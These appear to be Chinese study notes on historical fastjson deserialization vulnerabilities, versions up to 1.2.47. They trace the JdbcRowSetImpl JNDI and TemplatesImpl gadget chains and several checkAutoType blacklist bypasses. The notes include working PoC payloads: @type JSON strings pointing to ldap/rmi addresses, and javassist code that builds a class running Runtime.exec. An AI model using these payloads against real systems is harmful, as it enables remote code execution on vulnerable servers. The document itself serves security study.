fastjson历史漏洞学习
前言
这里不做fastjson的基础知识介绍,如需要请看我下面参考的文章来学习,这里只是一些笔记和一点我的思考记录罢了。
简单说明下三种方式的区别:
parse("")和parseObject("",class)会识别并调用目标类的特定 setter 方法及某些特定条件的 getter 方法,他们两个的调用链也是完全一样。
差别在于parseObject("",class)在调用JavaBeanInfo.build()
方法时传入的clazz参数源于parseObject方法中第二个参数中指定的类,而parse("")这种方式调用JavaBeanInfo.build()
方法时传入的clazz参数获取于json字符串中@type字段的值。
而parseObject("")这种方式返回值为JSONObject类对象且调用全部的seter和geter当然测试String也是不行具体就不知道了稍微跟了一下,JSON.toJSON()方法会将目标类中所有getter方法记录下来,然后依次通过反射调用目标的geter。
然后这里再说一下目标类的私有变量且没有seter和geter的话,如何想要赋值,需要使用Feature.SupportNonPublicField
参数。
调用set和get的条件:
set
-
方法名长度大于4且以set开头,且第四个字母要是大写
-
非静态方法
-
返回类型为void或当前类
-
参数个数为1个
get
- 方法名长度大于等于4
- 非静态方法
- 以get开头且第4个字母为大写
- 无传入参数
- 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong
- 此getter不能有setter方法(程序会先将目标类中所有的setter加入fieldList列表,因此可以通过读取fieldList列表来判断此类中的getter方法有没有setter)
fastjson<=1.2.24
JNDI之JdbcRowSetImpl
jndi注入的利用链也是通用性比较强的,当然前提出网。因为他在fastjson的三种方式都可以使用。
我们知道我们利用jndi注入需要满足两个条件
-
url可控
-
存在Java漏洞环境版本
刚好com.sun.rowset.JdbcRowSetImpl
类有一个点是存在url可控的
JdbcRowSetImpl#setAutoCommit
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
//会进入connect
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
JdbcRowSetImpl#connect
protected Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
//如果要进来我们需要getDataSourceName不为空且他也是我们的关键
//下面两个话就是触发漏洞代码
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}
我们需要找到getDataSourceName()在哪里赋值的
JdbcRowSetImpl#getDataSourceName
public void setDataSourceName(String name) throws SQLException {
if (name == null) {
dataSource = null;
} else if (name.equals("")) {
throw new SQLException("DataSource name cannot be empty string");
} else {
dataSource = name;
//这里是直接赋值
}
URL = null;
}
所以我们就可以写出一个demo
public class JdbcRowSetImpl_client {
public static void main(String[] args) throws SQLException {
JdbcRowSetImpl JdbcRowSetImpl_inc = new JdbcRowSetImpl();
JdbcRowSetImpl_inc.setDataSourceName("rmi://localhost:1099/obj");
JdbcRowSetImpl_inc.setAutoCommit(true);
}
}
然后尝试使用fastjson的@type来使服务端执行上面代码
public class jndi_fastjson {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:9999/test\",\"autoCommit\":true}";
JSON.parse(payload);
}
}
TemplatesImpl利用链
基础知识在cc3和jdk7u21已经学习过了这里不再阐述,这里利用它的话条件相对苛刻。可以说是有一点鸡肋的感觉。
- 服务端使用parseObject()时,必须使用如下格式才能触发漏洞:
JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);
- 服务端使用parse()时,需要
JSON.parse(text1,Feature.SupportNonPublicField);
这是因为payload需要给一些private属性赋值。我们知道构造恶意的TemplatesImple需要满足如下条件
- _bytecodes 是由字节码组成的数组;
- _name 可以是任意字符串,只要不为null即可;
- _tfactory 需要是一个 TransformerFactoryImpl 对象,因为TemplatesImpl#defineTransletClasses() 方法里有调用到
_tfactory.getExternalExtensionsMap()
,如果是null会出错。 - TemplatesImpl 必须是
com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
的子类
代码这里直接使用@lala大佬的,我们也写过很多次了,就不写了。
public class TemplatesImpl_fastjson {
//最终执行payload的类的原始模型
//ps.要payload在static模块中执行的话,原始模型需要用static方式。
public static class lala{
}
//返回一个在实例化过程中执行任意代码的恶意类的byte码
public static byte[] getevilbyte() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get(lala.class.getName());
//要执行的最终命令
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
//之前说的静态初始化块和构造方法均可,这边用静态方法
cc.makeClassInitializer().insertBefore(cmd);
// CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);
// cons.setBody("{"+cmd+"}");
// cc.addConstructor(cons);
//设置不重复的类名
String randomClassName = "LaLa"+System.nanoTime();
cc.setName(randomClassName);
//设置满足条件的父类
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
//获取字节码
byte[] lalaByteCodes = cc.toBytecode();
return lalaByteCodes;
}
//生成payload,触发payload
public static void poc() throws Exception {
//生成攻击payload
byte[] evilCode = getevilbyte();//生成恶意类的字节码
String evilCode_base64 = Base64.encodeBase64String(evilCode);//使用base64封装
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{"+
"\"@type\":\"" + NASTY_CLASS +"\","+
"\"_bytecodes\":[\""+evilCode_base64+"\"],"+
"'_name':'a.b',"+
"'_tfactory':{ },"+
"'_outputProperties':{ }"+
"}\n";
//此处删除了一些我觉得没有用的参数(第二个_name,_version,allowedProtocols),并没有发现有什么影响
System.out.println(text1);
//服务端触发payload
ParserConfig config = new ParserConfig();
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
}
//main函数调用以下poc而已
public static void main(String args[]){
try {
poc();
} catch (Exception e) {
e.printStackTrace();
}
}
}
这里或许有三点疑惑
_bytecodes前面不是刚刚说了需要字节码,然后为什么这里使用base64编码。
_tfactory 不是需要是一个 TransformerFactoryImpl 对象吗,为什么这里为空。
_outputProperties字段是如何调用getOutputProperties的。
_bytecodes加密
这里最开始的流程都自己跟一次吧这里不讲述,参考文章里面都有具体的讲解。
从javaBeanDeserializer到DefaultFieldDeserializer我们可以看到value值在哪里处理的然后进行赋值的。跟进DefaultFieldDeserializer:68
然后跟进到ObjectArrayCodec#deserialze,前面就是一些字段类型的判断,不一一记录了,然后进入154
跟进到DefaultJSONParser#parseArray在682进行解析,因为type就是我们赋值过去的数组
然后又到ObjectArrayCodec#deserialze进行解析
然后就进行解码
所以我们需要编码一下,那么序列化是不是也会对byte进行编码呢,尝试一下当然也是OK
_tfactory为空
JavaBeanDeserializer#parseField进行设置值
进入JavaBeanDeserializer#parseRest,因为为空会新建实例进行赋值
至于_tfactory为什么会知道是TransformerFactoryImpl呢?
/com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.java
//这是在类中已经定义好了。
private transient TransformerFactoryImpl _tfactory = null;
_outputProperties
在字段解析之前,会对于当前字段进行一次智能匹配
JavaBeanDeserializer#parseField
public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType,Map<String, Object> fieldValues) {
JSONLexer lexer = parser.lexer;
FieldDeserializer fieldDeserializer = smartMatch(key);
//进入
JavaBeanDeserializer#smartMatch
替换以后就去寻找getter和seter,所以即使我们添加为-
也是可以的。剩下的流程就和其他也一样了。
fastsjon 1.2.5-1.4.1
1.2.5开始引入了checkAutotype安全机制,通过黑白名单机制进行防御。
checkAutotype安全机制
阅读https://github.com/alibaba/fastjson/wiki/enable_autotype
例如我们写的一个demo在1.2.5就不行了。
必须要将AutoTypeSupport设置为True
我们来调试一下看下黑名单,发现基本堵死
然后看下源代码知道这里不管false还是true对会进行同样的操作和检查也就是黑白名单操作,并且判断了加载的clazz是否继承自Classloader与DataSource。所以基本堵的死死的,所以这里都是以AutoTypeSupport为True
的情况下进行的
可以发现是先对clazz赋值的,我们去查看下。
我们可以看到第一处的作用是匹配以”[”开头的字符串,而第二处则是匹配以”L”开头,以”;”结尾
这里解释一下[;到底是什么:
- 这种类型的字符串其实是一种对函数返回值和参数的编码,名为JNI字段描述符
[就是代表数组 [[就是double[][]。 - xxx[]对应的类对象则为"[xxx;"
那么L;又是什么东西呢
- 这种形式叫类描述符,”L”与”;”之间的字符串表示着该类对象的所属类
所以实际上是用来解析传入的数组类型的Class对象字符串
所以poc
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload ="{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://127.0.0.1:9999/test\",\"autoCommit\":true}";
JSON.parse(payload);
fastjson 1.2.42
1.2.42版本在处理了1.2.41版本的漏洞后。很快又被发现存在着绕过方式,我们再去查看下1.2.42的checkAutotype
黑名单也变成了
hash可以让我们不知道禁用了什么类,但是加密方式是有写com.alibaba.fastjson.parser.ParserConfig#addDeny
中的com.alibaba.fastjson.util.TypeUtils#fnv1a_64
,我们理论上可以遍历jar,字符串,类去碰撞得到这个hash的值。(因为常用的包是有限的)
public static long fnv1a_64(String key){
long hashCode = 0xcbf29ce484222325L;
for(int i = 0; i < key.length(); ++i){
char ch = key.charAt(i);
hashCode ^= ch;
hashCode *= 0x100000001b3L;
}
return hashCode;
}
//可以注意到,计算hash是遍历每一位进行固定的异或和乘法运算进行累积运算
有一个Github项目就是完成了这样的事情,并列出了目前已经得到的hash。
再是对于传入的类名,删除开头L
和结尾的;
。
final long BASIC = 0xcbf29ce484222325L;
final long PRIME = 0x100000001b3L;
// 对传入类名的第一位和最后一位做了hash,如果是L开头,;结尾,删去开头结尾
// 可以发现这边只进行了一次删除
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(className.length() - 1))
* PRIME == 0x9198507b5af98f0L)
{
className = className.substring(1, className.length() - 1);
}
所以我们传入两个即可
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload ="{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://127.0.0.1:9999/test\",\"autoCommit\":true}";
JSON.parse(payload);
fastjson 1.2.45
1.2.43对于1.2.42绕过进行了修复
//hash计算基础参数
long BASIC = -3750763034362895579L;
long PRIME = 1099511628211L;
//L开头,;结尾
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
//LL开头
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
//直接爆出异常
throw new JSONException("autoType is not support. " + typeName);
}
className = className.substring(1, className.length() - 1);
}
可见就对了LL开头的绕过进行了封堵。那么如何继续利用呢?就只能寻找不在黑名单的利用链来进行攻击【当然这是在关闭白名单的情况下进行的】
那么1.2.45也就有师傅利用mybatis库进行绕过,这里安装的mybatis是3.5.5
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload ="{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"ldap://127.0.0.1:9999/test\"}}";
JSON.parse(payload);
漏洞原因也就和上面一样了
fastjson 1.2.47[不太一样]
然后1.2.46修复也是增加很多黑名单,这种修复方式的一个问题就是随着java的更新也会出现很多包的更新所以可能又存在绕过。1.2.47这个链子并不是绕过黑名单。所以说是不太一样。
这里先给出POC吧【这里逆向分析下,从0day如何产生的角度分析会贴一个大佬的文章】
public static void main(String[] argv) {
String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}," +
"\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":" +
"\"ldap://127.0.0.1:9999/obj\",\"autoCommit\":true}}}";
JSON.parse(payload);
}
我们可以看到poc构造了两个json字符串,并且他并没有关闭白名单的校验。我们这里直接跳过fastjson的解析流程,看看checkAutoType安全模块的操作。
前面都一样了,就不解读了,直接跟踪如何生成clazz然后再来解读。
会调到TypeUtils#getClassFromMapping
这里的mapings有是什么呢?发现是一些很多常用的类他是怎么来的呢?
我们发现Fastjson在开始解析json前会优先加载配置,在加载配置时会调用TypeUtils的addBaseClassMappings和loadClass方法将一些经常会用到的基础类和三方库存放到一个ConcurrentMap对象mappings中,类似于缓存机制
然后再mappings并没有发现我们的类,继续跟到这里
然后进入findClass
会发现他会遍历buckets,取出其中元素的key属性值的名称并与传入的”java.lang.Class”进行比较,如果二者相同,则将这个Class对象返回。那么我们追踪下buckets又怎么来的呢
ParserConfig#initDeserializers
initDeserializers这个函数是在parserConfig类的构造函数中初始化时调用的,存放的是一些认为没有危害的固定常用类
然后会到流程上面来,我们构造的typeName被findClass方法匹配到了,因此java.lang.Class类对象被返回
所以我们大致知道了用户只有传入的@type字段字段值在两个集合中任意一个,checkAutoType都将会直接将其对应的Clazz返回
MiscCodec.java#deserialze加载我们的clazz,这里解读下代码
public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
JSONLexer lexer = parser.lexer;
//clazz类型等于InetSocketAddress.class的处理。
//我们需要的clazz必须为Class.class,不进入
if (clazz == InetSocketAddress.class) {
...
}
Object objVal;
if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {
parser.resolveStatus = DefaultJSONParser.NONE;
parser.accept(JSONToken.COMMA);
if (lexer.token() == JSONToken.LITERAL_STRING) {
//判断解析的下一处的值是否为val,如果不是val,报错退出
if (!"val".equals(lexer.stringVal())) {
throw new JSONException("syntax error");
}
lexer.nextToken();
} else {
throw new JSONException("syntax error");
}
//取出json字符串中val值
parser.accept(JSONToken.COLON);
//并将其值的代码取出赋值给objVal变量。
objVal = parser.parse();
parser.accept(JSONToken.RBRACE);
} else {
//当parser.resolveStatus的值不为TypeNameRedirect
//直接解析下一个解析点到objVal
objVal = parser.parse();
}
String strVal;
//将objVal变量值转换为String类型并赋值strVal变量
if (objVal == null) {
strVal = null;
} else if (objVal instanceof String) {
strVal = (String) objVal;
} else {
...
}
if (strVal == null || strVal.length() == 0) {
return null;
}
//省略诸多对于clazz类型判定的不同分支。
//可以得知,我们的clazz必须为Class.class类型
if (clazz == Class.class) {
//我们由这里进来的loadCLass
//调用TypeUtils.loadClass处理val值
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}
我们继续往下看看TypeUtils.loadClass中的操作
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
if(className == null || className.length() == 0){
return null;
}
Class<?> clazz = mappings.get(className);
if(clazz != null){
return clazz;
}
if(className.charAt(0) == '['){
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
if(className.startsWith("L") && className.endsWith(";")){
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
try{
if(classLoader != null){
clazz = classLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
e.printStackTrace();
// skip
}
try{
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if(contextClassLoader != null && contextClassLoader != classLoader){
clazz = contextClassLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
..
}
classname也就是我们传入的字符串也就是val,我们可以发现如下代码
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if (contextClassLoader != null && contextClassLoader != classLoader) {
clazz = contextClassLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
因为cache默认是为true的,然后将className、clazz键值对加入mappings集合
加入后
然后返回clazz,随着加载我们的第二个json字符串然后因为mapings可以发现我们加入的恶意类,所以程序则直接找到其类对象并将其类对象返回,从而跳过了checkAutoType后续的部分校验过程。
所以整体流程就是
DefaultJSONParser#parseObject#传入Class.class
进入MiscCodec#deserialze拿到val放入objval传递给strval,因为clazz=Class.class
进入TypeUtils#loadClass传入strval
因为cache默认为true调用mappings.put
参考
https://paper.seebug.org/1343/
https://paper.seebug.org/1274/
https://xz.aliyun.com/t/7027#toc-17
https://paper.seebug.org/1319/#0x04-fastjson-1245
https://github.com/alibaba/fastjson/wiki/enable_autotype